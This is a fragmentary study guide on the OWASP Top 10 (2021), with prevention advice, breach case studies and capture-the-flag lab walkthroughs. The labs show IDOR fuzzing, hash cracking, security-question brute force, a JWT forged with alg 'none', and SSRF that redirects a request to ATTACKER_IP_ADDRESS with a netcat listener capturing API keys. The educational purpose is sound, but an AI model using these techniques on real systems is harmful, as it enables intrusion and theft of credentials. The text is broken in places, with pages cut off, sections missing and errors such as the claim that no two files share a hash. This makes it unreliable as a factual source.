Introduction to OWASP and Web Application Security
Introduction to OWASP and Web Application Security
WEB SECURITY
Table of Contents
1 Introduction to OWASP and Web Application Security...........................1
1.1 What is OWASP?.............................................................................1
1.2 What is the OWASP Top 10?............................................................2
1.3 Why Web Application Security Matters...........................................2
1.4 How OWASP Top 10 is Created and Updated..................................2
2 Overview of OWASP Top 10 (2021 Edition)............................................4
2.1 What’s New in OWASP Top 10 2021?..............................................4
2.2 OWASP Top 10 - Quick Summary....................................................5
3 Detailed Breakdown of OWASP Top 10 Vulnerabilities...........................7
3.1 A01:2021 – Broken Access Control.................................................7
3.1.1 What is Broken Access Control?...............................................7
3.1.2 Common Vulnerabilities............................................................7
3.1.3 Exploitation Techniques............................................................7
3.1.4 Prevention Strategies...............................................................8
3.1.5 Case Studies.............................................................................8
3.1.6 Practical Lab.............................................................................8
3.2 A02:2021 – Cryptographic Failures...............................................11
3.2.1 Understanding Cryptography in Web Security........................11
3.2.2 Common Cryptographic Failures.............................................11
3.2.3 How Attackers Exploit Cryptographic Weaknesses.................12
3.2.4 Best Practices for Secure Cryptography.................................12
3.2.5 Case Studies...........................................................................12
3.2.6 Practical Lab...........................................................................13
3.3 A03:2021 – Injection Attacks........................................................15
3.3.1 What is an Injection Attack?...................................................15
3.3.2 Types of Injection Attacks.......................................................15
3.3.3 How Injection Attacks Work....................................................16
3.3.4 Injection Prevention Techniques.............................................16
3.3.5 Case Studies...........................................................................16
3.3.6 Practical Lab...........................................................................17
3.4 A04:2021 – Insecure Design.........................................................18
3.4.1 What is Insecure Design?.......................................................18
3.4.2 Difference Between Design Flaws and Implementation Issues
18
3.4.3 Common Insecure Design Mistakes........................................19
3.4.4 Secure Design Principles........................................................19
3.4.5 Case Studies...........................................................................19
3.4.6 Practical Lab...........................................................................20
3.5 A05:2021 – Security Misconfiguration..........................................21
3.5.1 Understanding Security Misconfigurations.............................21
3.5.2 Common Misconfigurations....................................................21
3.5.3 How Attackers Exploit Security Misconfigurations..................21
3.5.4 Best Practices to Prevent Misconfigurations...........................22
3.5.5 Case Studies...........................................................................22
3.5.6 Practical Lab...........................................................................23
3.6 A06:2021 – Vulnerable and Outdated Components......................23
3.6.1 Why Third-Party Components Pose Security Risks.................23
3.6.2 Identifying Vulnerable Components........................................23
3.6.3 How Attackers Exploit Outdated Components........................24
3.6.4 Managing Dependencies Securely..........................................24
3.6.5 Case Studies...........................................................................24
3.6.6 Practical Lab...........................................................................25
3.7 A07:2021 – Identification and Authentication Failures..................26
3.7.1 Common Authentication and Identity Issues..........................26
3.7.2 Types of Authentication Failures.............................................26
3.7.3 Strengthening Authentication Security...................................26
3.7.4 Case Studies...........................................................................27
3.7.5 Practical Lab...........................................................................27
3.8 A08:2021 – Software and Data Integrity Failures..........................28
3.8.1 Understanding Software and Data Integrity Risks..................28
3.8.2 Common Vulnerabilities in Data Integrity...............................28
3.8.3 Best Practices for Ensuring Data Integrity..............................28
3.8.4 Case Studies...........................................................................29
3.8.5 Practical Lab...........................................................................29
3.9 A09:2021 – Security Logging and Monitoring Failures..................33
3.9.1 Importance of Security Logging..............................................33
3.9.2 Common Logging Mistakes.....................................................33
3.9.3 How Attackers Exploit Poor Logging Practices........................33
3.9.4 Best Practices for Security Logging and Monitoring...............34
3.9.5 Case Studies...........................................................................34
3.9.6 Practical Lab...........................................................................35
3.10 A10:2021 – Server-Side Request Forgery (SSRF)..........................35
3.10.1 What is SSRF?.........................................................................35
3.10.2 How SSRF Attacks Work..........................................................36
3.10.3 Common Exploitation Scenarios.............................................36
3.10.4 Mitigation Strategies..............................................................36
3.10.5 Case Studies...........................................................................37
3.10.6 Practical Lab...........................................................................37
4 How to Secure Applications Against OWASP Top 10............................39
4.1 Secure Coding Practices...............................................................39
4.2 Security Testing Techniques..........................................................39
4.3 Secure Software Development Lifecycle (SDLC)...........................40
4.4 DevSecOps and Continuous Security............................................40
5 OWASP Tools and Resources...............................................................42
5.1 OWASP ZAP (Zed Attack Proxy)....................................................42
5.2 OWASP Dependency-Check..........................................................42
5.3 OWASP Cheat Sheets and Security Guidelines.............................42
5.4 Other Open-Source Security Tools................................................43
6 Real-World Case Studies of OWASP Top 10 Breaches..........................44
6.1 High-Profile Security Breaches......................................................44
6.2 Lessons Learned from Real-World Attacks....................................47
7 Future of Web Application Security.....................................................48
7.1 Emerging Threats and Trends.......................................................48
7.2 AI and Machine Learning in Cybersecurity....................................48
7.3 Predictions for OWASP Top 10 2024/2025.....................................48
8 Conclusion and Final Recommendations.............................................50
8.1 Key Takeaways..............................................................................50
8.2 Actionable Security Measures for Developers and Organizations.50
8.3 Further Learning Resources..........................................................50
1 Introduction to OWASP and Web Application Security
1.1 What is OWASP?
The Open Web Application Security Project (OWASP) is an international recognized non-
profit entity dedicated to enhancing software security. It offers open-source tools,
guidelines, and educational material to assist developers, security professionals, and
organizations in developing secure applications.
1
These projects, among others, are open-source and used extensively by developers
and security experts to detect, analyze, and address security vulnerabilities in web
applications.
2
OWASP’s Risk Rating Methodology
Each vulnerability is assessed based on:
Prevalence – How often the vulnerability is found in real-world applications.
Exploitability – The complexity of launching an attack.
Impact – The potential consequences of a successful exploit.
Changes from Previous Versions (2021 vs. 2017 vs. Older Versions)
A04: Insecure Design
A08: Software and Data Integrity Failures
A10: Server-Side Request Forgery (SSRF)
Injection dropped to A03 (was A01 in 2017).
Broken Access Control moved up to A01 (previously A05).
3
2 Overview of OWASP Top 10 (2021 Edition)
2.1 What’s New in OWASP Top 10 2021?
Key Changes from the 2017 Version
1. Reordering Based on Data and Community Feedback
Broken Access Control was moved up from #5 (2017) to #1
(2021) because of its growing impact and prevalence.
Injection fell from #1 (2017) to #3 (2021) as awareness and
mitigations grew.
Security Logging and Monitoring Failures was moved from #10 (2017) to
#9 (2021) to highlight its importance in attack detection and response.
2. Newly Introduced Vulnerabilities
Insecure Design (A04:2021)
Software and Data Integrity Failures (A08:2021)
Server-Side Request Forgery (SSRF) (A10:2021)
3. Renamed or Merged Categories
Sensitive Data Exposure was renamed Cryptographic Failures (A02:2021)
to focus more on encryption-related flaws.
Broken Authentication was renamed Identification and Authentication
Failures (A07:2021) to include more authentication vulnerabilities.
Using Components with Known Vulnerabilities was renamed Vulnerable
and Outdated Components (A06:2021) to focus more on outdated
dependencies.
Inadequate Logging & Monitoring was retitled to Security Logging and
Monitoring Failures (A09:2021) for better clarity.
4. More Data-Driven Approach
The 2021 version utilized real-world data from more than 500,000
applications, making it a better representation of contemporary attack
trends.
Newly Introduced Vulnerabilities
1. Insecure Design (A04:2021)
New category that highlights security vulnerabilities due to unwise design
choices.
Promotes threat modeling, secure development lifecycle, and
security inspections during the early stages of SDLC.
Example: A web app that offers unlimited attempts to log in without
lockout or CAPTCHA.
2. Software and Data Integrity Failures (A08:2021)
Covers integrity failures in software updates, CI/CD pipelines, and data
processing.
Encompasses threats from supply chain attacks, insecure dependencies,
and untrusted deserialization.
Example: Malicious updates injected into a software
package because of insecure update mechanisms (e.g., SolarWinds
attack).
3. Server-Side Request Forgery (SSRF) (A10:2021)
4
Formerly part of Injection but separated as a distinct category because of
widespread exploitation.
Attackers deceive the server into issuing unauthorized requests to internal
resources.
Example: Using a vulnerable cloud-based application to access metadata
services.
5
Description: When a server retrieves a remote resource without
verifying the user-provided URL, which could result in unauthorized
internal system access.
Identifying and mitigating these risks are important for improving web application security
and defending against possible threats.
6
3 Detailed Breakdown of OWASP Top 10 Vulnerabilities
3.1 A01:2021 – Broken Access Control
3.1.1 What is Broken Access Control?
Broken access control is when an application does not adequately limit users from
doing things outside of their specified permissions. It enables attackers to evade
authorization checks and do things or access data that are supposed to be out of
bounds. Under the OWASP Top 10 (2021 Edition), it is identified as one of the most
serious threats because of its widespread occurrence and extreme effect.
7
3.1.4 Prevention Strategies
To reduce broken access control threats, organizations must employ the following:
8
To access the web app we’re performing a penetration test on ;-), connect to the
machine via AttackBox or via OpenVPN in your preferred environment. Navigate to
the URL in the browser and log in with the credentials, username: noot &
password: test1234.
You can manually fuzz the endpoint by manipulating the id parameter directly in the
browser or you can automate this with Burp Suite. Come on over to the Burp Side
and I’ll show you how.
9
Next, select the payloads tab. Set the payload type to numbers and in the payload
settings section, generate a. If we were testing for a wider range of endpoints, we
would import a wordlist but, in this case, let’s keep it simple:
Type: Sequential
From: -3
To: 3
Step: 1
As you can see, Burp Suite’s intruder tool created several GET requests to our URL,
fuzzing the id parameter. What we’re trying to look for is an IDOR so select any
request, click on the respective response tab and select Render so we can see the
visual result of the request. Keep clicking through until we get a hit! In the screenshot
below, we see a note page we weren’t supposed to access.
10
computational power and are therefore not appropriate for securing sensitive
information.
Poor Key Management and Hardcoded Keys
Although a robust algorithm may be in place, security can still be compromised
by inadequate key management. Hardcoded keys inserted into source code,
insecure key storage, or not changing keys regularly can all result in compromise
of the key. Attackers can decrypt otherwise encrypted data once they have
possession of the key.
Improper TLS Implementation
Transport Layer Security (TLS) is critical for encrypting data in transit. Yet,
misconfigurations, including the support of old TLS versions, insecure cipher
suites, or failure to validate certificates, enable attackers to perform man-in-the-
middle attacks. These misconfigurations downgrade secure connections and
leave otherwise encrypted data vulnerable.
11
3.2.5 Case Studies
Insecure TLS Configuration: A financial services firm once had an insecure
TLS implementation with support for old protocols and weak ciphers.
Attackers carried out a downgrade attack by intercepting sensitive client
information. An ensuing audit prompted a total redesign of their TLS
configuration to strengthen data security.
Hardcoded Keys in a Mobile App: In one example, a popular mobile
application had hardcoded encryption keys in its source code. Hackers
reverse-engineered the app, pulled the keys out, and decrypted the sensitive
user data. This attack underscored the need for safe key management and
led the company to implement external key storage techniques and periodic
key rotations.
If we right click and view page source code, we see there is a directory called
/assets. Navigate to http://IP_ADDRESS:81/assets . Look at what we find…
12
Click on the webapp.db file to download the SQLite file directly to /Downloads (or
wherever it’s stored). Now let’s start interacting with the database and retrieve (and
ultimately crack) the hash of our target — admin.
13
Let’s Crack The Hash — The quickest way to crack the hash is to go to
crackstation.net and paste the hash in
14
sanitized, the interpreter runs it as part of the intended command, which typically
results in unauthorized data access, data modification, or even full system
compromise. Injection attacks take advantage of weaknesses in how applications
process user input.
15
Input Validation and Sanitization: Check inputs against a whitelist of
permitted characters and formats. Sanitize inputs by escaping or stripping out
possible malicious characters before processing.
Use of ORM Frameworks: Object-Relational Mapping libraries typically have
built-in features that can help reduce the risk of injection.
Least Privilege Principle: Set database and system accounts to have only
the bare minimum rights required. Even if there is an injection, this restricts
the damage that can be done.
Regular Code Audits and Penetration Testing: Periodically test and inspect
code for injection flaws, both through automated scanning and manual code
inspections.
Error Handling: Employ secure error handling to prevent revealing sensitive
error messages that would assist an attacker in crafting a successful injection
attack.
In the PHP example below, the user input is immediately passed to the function as
valid and interpreted by the server as a command. This allows direct access with the
terminal of the server. We could hypothetically enumerate the user and view sensitive
data such as etc/passwords which is a known Linux file that holds a list of users that
exist on the server and we could use that information to perform a brute force
password attack.
The input is saved as $cow variable which gets passed as valid input and triggers the
passthru() function and interpreted by the server. So if we sent `Hello World' as input,
the function will interpret that aspassthru("perl /usr/bin/cowsay -f default Hello World.
16
Always test input you find on a web app for command injection vulnerabilities by
experimenting and entering system commands.
17
What version of Alpine Linux is running? 3.16.0
18
Principle of Least Privilege: Have users and components run with the least
privileges required.
Fail-Safe Defaults: Default settings should be to deny until specifically
allowed.
Separation of Duties: Split key functions among two or more components or
roles so that no single point of failure or abuse occurs.
Economy of Mechanism: Make designs as straightforward as possible to
limit opportunities for error.
Defense in Depth: Employ several layers of security so that a failure in one
layer will not compromise the whole system.
Complete Mediation: Each access request must be checked against security
policies, not only the first time the request is initiated.
Regular Threat Modeling: Regularly review and revise threat models to
accommodate new threats and modifications in the system architecture.
19
Navigate to http://IP_ADDRESS:85 and select the “I forgot my password” link on the
login form. Type in “Joseph” and then on the next screen, select “What’s your favorite
color?” as the security question. Type in any color you want. Turn on your Burp Proxy
and intercept the request to capture and modify it. We’ll perform a brute force attack.
Send the request to Intruder and highlight the color as the payload position.
Solution: ‘Green’.
Now login with the user Joseph and the password it was reset to and you’ll capture
the flag.
Flag- THM{Not_3ven_c4tz_c0uld_sav3_U!}
20
3.5 A05:2021 – Security Misconfiguration
3.5.1 Understanding Security Misconfigurations
Security misconfiguration describes misconfigurations in an application or its
infrastructure, resulting in unsafe settings. It is among the most prevalent
vulnerabilities since even a minor misconfiguration can open up an entire system.
The misconfigurations may be done at any level, such as network services, web
servers, application servers, databases, or even cloud computing.
21
Scanning and Enumeration: Attackers look for public administrative
interfaces, open ports, and default login credentials. Scans from automation
easily spot insecurely configured systems.
Brute-Force Attacks: In case of default logins or simple passwords, the
attackers can apply brute-force attempts to break through.
Exploiting Unnecessary Features: If test or debugging pages are not
disabled in production, attackers have access to these and can obtain
information regarding the system architecture and the underlying
weaknesses.
Access to Exposed Data: Misconfigured cloud storage or incorrect
permissions provide access to attackers for downloading sensitive data,
which results in data breaches or non-compliance.
22
3.5.6 Practical Lab
Navigate to http://IP_ADDRESS/console and let’s try to exploit the security
misconfiguration to read the application’s source code.
We’re met with an exposed Werkzeug console, the debugging interface for Python
web application. From there we’re able to run arbitrary commands and directly
interact with the web server which can lead to sensitive data exposure.
Use the Werkzeug console to run the following Python code to execute the `ls -l`
command on the server:
Modify the code to read the contents of the app.py file, application’s source code.
23
compare components with a list of vulnerability databases such as the
National Vulnerability Database (NVD) to identify insecure versions.
Inventory Management: Keeping a current list of all third-party
dependencies is essential. The list must contain the version numbers and any
known security advisories to allow teams to instantly know and remedy
components that need updates.
Regular Audits and Penetration Testing: Regular security scans and
focused penetration testing can assist in identifying underlooked
vulnerabilities in integrated components.
24
This serves to highlight the catastrophic business and reputational
implications of ignoring component updates.
WordPress Plugin Exploits:
Many WordPress sites have been hacked because of old plugins. The
attackers take advantage of weaknesses in the plugins—usually not updated
by the site owners—to inject malware, reroute users, or steal data. These
incidents highlight the need for frequent maintenance and caution when
dealing with third-party elements.
Exploits found online don’t always work out of the box. Sometimes you need to
modify the configuration to work for your exploit.
25
3.7 A07:2021 – Identification and Authentication Failures
3.7.1 Common Authentication and Identity Issues
Contemporary applications are victim to a number of authentication-related pitfalls,
including:
26
Prevent Credential Stuffing and Brute Force Attacks:
Implement account lockout policies following repeated failed login attempts.
Implement rate limiting and CAPTCHAs to deter automated login attempts.
Audit for suspect login behaviour and apply anomaly detection to indicate
suspect behavior.
Secure Session Management:
Relogin and regenerate session identifiers, and implement secure cookie
attributes (e.g., HttpOnly, Secure).
Implement proper session timeouts and invalidate tokens on logout.
Educate Users:
Offer training on the significance of strong, unique passwords and phishing
awareness.
27
Now you’ve re-registered with an already existing username, of darren
Log in as darren to get the flag fe86079416a21a3c99937fea8874b667
Now let’s try to re-register the user arthur by adding a space before the name
to access the next flag
28
Keep an inventory of all parts and their versions so that compromised
dependencies can be readily identified and updated
4. Supply Chain Security Controls:
Screen third-party suppliers and apply strict security requirements to all
integrated parts.
Watch for suspicious activity in the build or update process.
Utilize reproducible builds to ensure that the binary is consistent with the
source code.
5. Continuous Monitoring and Incident Response:
Set logging and alerting on failure of integrity checks.
Create an incident response plan that contains procedures for
compromised updates or components.
When you download a file, you re-calcluate the hashes and compare them against
the ones published on Kali Linux’s site. To calculate the different hashes in Linux use
the following commands:
md5sum filename
sha1sum filename
sha1sum filename
29
The vulnerability arises from code or infrastructure that uses software or data without
any kind of integrity check. If no integrity verification is being modified, the attacker
might modify the software or data passed to the application, resulting in unexpected
consequences.
Most web apps import third-party code and when a user navigates to your website,
it’s client browser will read that code. If you didn’t verify the integrity of that code by
checking the hash values, that can lead the user susceptible to attacks.
Remember hash values are not a form of encryption and simply an irreversible output
of a hashing algorithm. This is why hash values are more trusted, because no 2 files
can share the same hash.
30
When a user logs into an application, a session token is generated to be saved on
the browser for as long as the session lasts and will be sent in each subsequent
request so the web app knows who we are. An example of session token is a cookie.
Cookies are key-value pairs that a web app will store on the user’s browser & will be
sent with each request to the website that issued them.
If cookies are stored in the client browser, the user can tamper with the cookie to
impersonate another user and perform malicious actions on their behalf. This results
in data integrity failure as it trusts the data that an attacker can tamper with.
A JWT consists of 3 sets of base64 strings, each separated by a period. The header
indicates the type of token and algorithm used in the JWT, the payload is the data
that is stored and signature is the built-in integrity check that verifies the data hasn’t
been modified.
If you alter the payload, this will impact the signature just like a hash and will be
evidence of JWT tampering. Only the server holds the secret key that’s involved in
the signature. We can bypass this feature of JWT by using the None algorithm. That
type of algorithm was created for debugging and isn’t meant to be used in production
but as you learned earlier, sometimes developers forget to disable debugging!
31
Remember: header.payload.signature
Challenge:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwIjo
xNjc5ODY1MDU5fQ.5oArozFrsP_gWEZv85QTjICaz-RLk19w_mgsuJ0coBU
Decoded: {“typ”:”JWT”,”alg”:”HS256"}
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=
{“username”:”guest”,”exp”:1679865059}
Now let’s modify the username to be admin instead of guest and encode that payload
{“username”:”admin”,”exp”:1679865059}
eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjc5ODY1MDU5fQ==
Now let’s put our encoded strings together! Due to changing the alg type to ‘none’ in
the header, we can modify the payload and bypass the signature, just leaving a
period in between each set.
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo
xNjc5ODY1MDU5fQ==.
Reload the page and you’ll be authenticated as admin. Get the flag!
32
3.9 A09:2021 – Security Logging and Monitoring Failures
3.9.1 Importance of Security Logging
Security Logging and Monitoring Failures are the organization's failure to detect,
analyze, and respond to security-relevant events in real time. This failure can cause
breaches or malicious activity to be detected late, providing attackers time to exploit
weaknesses and intensify their attacks without being detected.
33
Insufficient Incident Response: During a breach, the absence of extensive
logs makes it difficult to grasp the extent of the attack, to determine systems
that have been compromised, and to fix vulnerabilities.
34
consists of the source and destination IP address, time stamps, usernames, API
endpoints/page locations and HTTP status codes.
From analyzing the log, we can see several unauthorized attempts to the /login
endpoint to either authenticate as admin, administrator, anonymous and root . This is
an example of a brute force technique, issuing several requests to a server within a
very short period of time (in this case a 5s delay between each request).
35
2. Server Execution: The server, believing the input to be valid, issues a
request on behalf of the attacker. This request may be made to internal
resources (e.g., a metadata service, internal APIs, or administrative
interfaces) or external systems.
3. Exploitation: By dictating where the request is sent, the attacker has the
ability to:
Access internal networks' sensitive information.
Vulnerability scans the internal network.
Cause an action on an internal system the attacker cannot directly
access otherwise.
36
tokens from AWS metadata endpoints, showing the serious threats SSRF can
introduce in cloud environments.
Internal API Exploitation: In one instance, an SSRF-vulnerable web
application exposed internal admin APIs to attackers. This led to unauthorized
configuration updates and data exposure, emphasizing the importance of
rigorous access control and separation between public and internal-facing
services.
The impact of SSRF can be massive. It can lead to interacting with other services to
get remote code execution (RCE), abuse trust relationships between servers and
gain access to restricted resources or perform internal network enumeration.
1. Explore the website. What is the only host allowed to access the admin area?
http://IP_ADDRESS:8087/admin
2. Check the “Download Resume” button. Where does the server parameter
point to? secure-file-storage.com
3. Using SSRF, make the application send the request to your AttackBox instead
of the secure file storage. Are there any API keys in the intercepted request?
The first thing I would do is inspect the URL that we’re analyzing
http://IP_ADDRESS:8087/download?server=secure-file-
storage.com:8087&id=75482342
http://VICTIM_IP_ADDRESS:8087/download?
server=ATTACKER_IP_ADDRESS&id=75482342
Next, let’s open up a terminal and use Netcat to listen on port 80 so we can capture
the API keys from the request.
nc -lvp 80
Now set fire! Once you’ve turned on the listener, send the request in the browser and
you should see the API key in netcat:
37
38
4 How to Secure Applications Against OWASP Top 10
4.1 Secure Coding Practices
Secure coding practices are the first line of defense against vulnerabilities. Developers
need to have a mindset that considers security as part of the development process and
not an afterthought. This starts with strict input validation to make sure that any data from
users is sanitized, thus preventing injection attacks like SQL injection or command
injection. Using parameterized queries and prepared statements is essential when
dealing with databases. Further, context-aware encoding of output prevents cross-site
scripting (XSS) by making sure that any data being displayed to users won't be executed
as code. Strict error handling measures should also be enforced by developers so that
error messages don't provide sensitive internal information that can be used against
them by attackers. Following the principle of least privilege in code as well as system
permissions reduces the effect of any breach. Periodic code reviews and pair
programming can identify silent vulnerabilities before they reach production. Using
automated static analysis tools further increases the early detection of coding defects in
the cycle. Finally, there is a need to have a secure coding checklist and stay updated
with new security practices and frameworks that are always changing to cater to new
threats, hence developing strong applications that can resist attacks described in the
OWASP Top 10.
39
inputs and watching for the resulting responses to determine security control
weaknesses. A key benefit of DAST is that it can catch vulnerabilities due to
misconfigurations or integration problems that static analysis may not catch.
Nonetheless, DAST may be constrained by its scope, as it may not analyze all
possible execution paths, and test execution in production environments has to be
meticulously planned so that it won't cause any disruptions to operations.
Complementing SAST, DAST gives a more complete view of an application's security
stance, guaranteeing that code-level and runtime vulnerabilities are identified. This
multi-layered strategy enables companies to have strong security barriers against
increasingly sophisticated threats.
Penetration Testing
Penetration testing is a focused, manual or semi-automatic security test technique in
which ethical hackers mimic actual attacks on an application, network, or system. In
contrast to automated testing tools, penetration testing takes advantage of the skills
of security experts to discover and exploit vulnerabilities, providing information on
how an attacker would penetrate defenses. The process usually starts with
reconnaissance to find out more about the target, including vulnerability scanning
and attempts at exploitation. This full-coverage testing approach uncovers
sophisticated, multi-layered security vulnerabilities that could be missed by
automated scans, such as business logic and chain-related vulnerabilities.
Penetration testing not only detects vulnerabilities, but also determines their potential
impact, leaving organizations with real-world guidance to reduce the risk. While it is
costly and often performed on an intermittent basis versus real-time, penetration
testing provides a realistic measure of security posture and confirms the efficacy of
implemented controls. Results enable remediation prioritization and enhance overall
security strategy by revealing latent vulnerabilities and insight into the potential for an
attacker to pivot within the infrastructure. Systematic penetration testing coupled with
ongoing scanning methods constitutes a solid defense against new security threats.
40
4.4 DevSecOps and Continuous Security
DevSecOps represents a refinement of traditional DevOps that incorporates security as
a mutual responsibility among development, operations, and security groups. This
philosophy pushes security to the left, with security processes baked into the
development process in early stages of the process rather than added later on. Under
DevSecOps, automated security technologies—such as static and dynamic analyzers—
are built into the CI/CD pipeline directly. These technologies proactively scan deployed
applications and code for vulnerabilities constantly, identifying and correcting any
aberrations from security coding best practices as they arise. DevSecOps also facilitates
interaction among developers and security specialists by involving continuous security
training and cross-functional collaboration. This culture of collaboration supports the
creation of secure code while countering evolving threats, such as those outlined in the
OWASP Top 10. Infrastructure as code (IaC) is also used to handle and automate secure
configurations, making them consistent throughout development, testing, and production
environments. Automated compliance scans and real-time monitoring also augment
security posture, enabling teams to rapidly respond to anomalies or breaches. By
embedding security practices in every stage of the development cycle, DevSecOps
establishes a more agile and responsive security posture that not only prevents
vulnerabilities but also supports faster, more secure deployment in today's high-speed
development environments.
41
5 OWASP Tools and Resources
5.1 OWASP ZAP (Zed Attack Proxy)
OWASP ZAP is a free, open-source dynamic application security testing (DAST) tool
used for discovering vulnerabilities in web applications. Developed in Java, ZAP is an
intercepting proxy that inspects and alters traffic between a web browser and the
application under test. Its modular design accommodates manual testing and automated
scanning modes in the form of full scans, passive scans, and fuzzing, making it usable
by novice security testers and experienced penetration testers alike. ZAP's large library
of plugins and add-ons extends its capability even further, enabling customization to suit
particular testing requirements. Integration with CI/CD pipelines allows continuous
security testing to be part of your development cycle. Forced browsing and WebSocket
analysis are also supported by the tool, which enables it to reveal hidden attack
surfaces. Active community participation, comprehensive documentation, and frequent
updates make sure that ZAP stays in the game as new web vulnerabilities are
discovered. This blend of usability, extensibility, and community cooperation renders
OWASP ZAP a go-to tool for organizations seeking to detect and address security
vulnerabilities in real time.
https://en.wikipedia.org/wiki/ZAP_%28software%29
42
remain a trustworthy resource in a constantly changing threat environment. By
incorporating these cheat sheets and security best practices into training initiatives and
development, organizations promote a security-first mindset. Not only does this proactive
measure decrease the likelihood of widespread vulnerabilities, it also simplifies the
integration of sound security practices throughout the software development cycle.
https://cheatsheetseries.owasp.org/
https://www.helpnetsecurity.com/2024/01/04/open-source-cybersecurity-tools/
43
6 Real-World Case Studies of OWASP Top 10 Breaches
6.1 High-Profile Security Breaches
1. Broken Access Control Broken
Example: British Airways Data Breach (2018)
British Airways had a serious incident in 2018 where the attackers targeted
vulnerabilities in access controls on its payment processing platforms. The flaw
permitted unauthorized entities to circumvent limits and view sensitive customer
data, including financial and personal details, by tampering with session controls
and API endpoints. Investigations found that poor implementation of access
control policies, including incorrect session management and inadequate
checking of user privileges, were key to the breach. Consequently, hundreds of
thousands of customer records were stolen, leading to regulatory attention and a
significant fine from data protection regulators. The breach highlighted the
importance of strict access control measures, periodic audits, and secure coding
to impose least privilege and avoid unintended data exposure. Organizations now
stress the establishment of strong role-based access controls and constant
monitoring of user sessions to make sure only authenticated and authorized
entities can access sensitive operations.
2. Cryptographic Failures
Example: Target Breach (2013)
The Target breach in 2013 is a much-quoted example of the failure of
cryptography. In this attack, attackers took advantage of vulnerabilities in the
encryption and key management practices used by Target. While Target
encrypted sensitive information, the encryption keys themselves were kept on the
same network as the data, and poor encryption practices facilitated decryption of
credit card data by attackers. This oversight enabled hackers to pilfer payment
information for dozens of millions of customers over the holiday period. The
breach created massive financial costs, legal exposures, and loss of consumer
trust. It underscored that merely having good encryption is not enough—safe key
management and adequate isolation of cryptographic secrets are just as
important. Organizations have since reviewed their cryptographic frameworks,
implementing industry-standard algorithms and isolating keys from the encrypted
data environment in order to protect against similar risks.
3. Injection
Example: Heartland Payment Systems Breach (2009)
The 2009 Heartland Payment Systems breach is a well-known instance of an
injection attack, namely SQL injection. Attackers used insecure input fields in
Heartland's payment processing systems to inject malicious SQL commands.
This enabled them to pull sensitive credit card information from the database
without sanitizing user input. Consequently, millions of payment records were
exposed, resulting in massive financial loss, remediation expenditures, and
reputational harm. The breach showed that even veteran financial organizations
could be vulnerable to injection vulnerabilities if safe coding principles—such as
input validation and parameterized queries usage—are not strictly implemented.
To address this, organizations have invested heavily in static and dynamic
44
analysis tools that automate the process of finding injection vulnerabilities early in
the development cycle and fixing them before they can be exploited.
4. Insecure Design
Example: OPM Breach (2015)
The 2015 breach in the U.S. Office of Personnel Management (OPM) is a strong
case of insecure design resulting in disastrous data loss. Attackers were able to
take advantage of inherent design deficiencies in the agency's IT system—like
the lack of good network segmentation and too weak a set of authentication
mechanisms—to intrude on government employees' and contractors' private
personal information of millions of personnel. The incident showed how important
it is to include security factors from the initial design phase. Lack of threat
modeling, weak system architecture, and weak controls facilitated lateral
movement in the network, which eventually helped attackers exfiltrate huge
volumes of data over a long period of time. This attack has compelled
organizations to implement secure design principles, focusing on proactive threat
modeling, defense-in-depth measures, and designing systems with minimum
exposure of sensitive information.
5. Security Misconfiguration
Example: Uber Data Exposure (2016)
In 2016, Uber suffered a breach that was partially caused by security
misconfigurations in the cloud storage infrastructure. A misconfigured Amazon S3
bucket had unintentionally revealed drivers' and riders' sensitive data. The
vulnerability enabled malicious users to view, download, and even misuse riders'
personal information stored on the cloud without valid authentication or
encryption. This incident demonstrated just how easy misconfiguration errors—
default settings or missing access controls—can lead to major exposure of
sensitive information. The attack spurred the industry to rethink cloud security
practices, emphasizing the importance of careful configuration management,
regular auditing, and use of automated scanning tools to identify and correct
misconfigurations before attackers can exploit them. Organizations now typically
implement rigorous policies for cloud resource configuration and ongoing
monitoring to keep security settings hardened throughout time.
6. Vulnerable and Outdated Components
Example: Equifax Breach (2017)
Perhaps the most notorious of these breaches, the 2017 Equifax breach, was
largely the result of the exploitation of a known vulnerability in Apache Struts—a
critical module that was not patched in a timely fashion by Equifax. Although a
security update existed, an outdated software component compromised Equifax's
systems, allowing attackers to run remote code and access personal sensitive
data of about 147 million people. The breach highlighted the serious threats
posed by vulnerable and out-of-date components within the software supply
chain. It showed the requirement for organizations to have a complete list of third-
party components, have routine vulnerability scanning, and have rigorous patch
management controls. This attack has initiated a wider industry demand for
automated tools that scan constantly for vulnerabilities in dependencies, keeping
software updated and secured against known exploits.
7. Identification and Authentication Failures
Example: T-Mobile Breach (2018)
45
The 2018 T-Mobile breach is a classic case of authentication and identification
failures. In the breach, hackers took advantage of poor authentication controls—
like weak multi-factor authentication and poor session management—to get
unauthorized access to customer accounts. This enabled them to steal sensitive
personal information like names, addresses, and social security numbers of
millions of subscribers. The hack exposed serious deficiencies in T-Mobile's
method for authenticating user identities and securing account access.
Consequently, it led to industry-wide debate about enhancing authentication
processes, instituting strong multi-factor authentication, and periodic review and
revision of security practices. The incident reminds us that even the biggest
telecommunications operators can be exposed when authentication controls are
not well designed and imposed, with many organizations upgrading their identity
verification processes and regularly monitoring for unusual access patterns.
8. Software and Data Integrity Failures
Example: SolarWinds Supply Chain Attack (2020)
The SolarWinds hack in 2020 is a watershed case of software and data integrity
failure. The attackers were able to infiltrate the SolarWinds Orion software
platform's build system by introducing malicious code into standard software
updates. This manipulation of the software supply chain enabled the attackers to
spread a trojanized update to thousands of organizations, including several U.S.
government agencies and Fortune 500 corporations. The compromise not only
leaked sensitive information but also essentially destroyed trust in the integrity of
software updates. The attack underscored the paramount importance of making
sure that software delivery pipelines are secure, and that updates are digitally
signed and stringently validated prior to deployment. Recovery efforts have thus
been stepped up by organizations in adopting more vigorous integrity verification
safeguards, including Automated Code Signing and Software Bill of Materials
(SBOMs), to shield their systems from attacks of a similar nature.
9. Security Logging and Monitoring Failures
Example: Anthem Breach (2015)
The 2015 Anthem breach is a classic example of how poor security monitoring
and logging can amplify an attack. In this breach, attackers successfully infiltrated
Anthem's systems and went unnoticed for quite some time because of poor
logging habits and the absence of real-time monitoring. This lapse enabled them
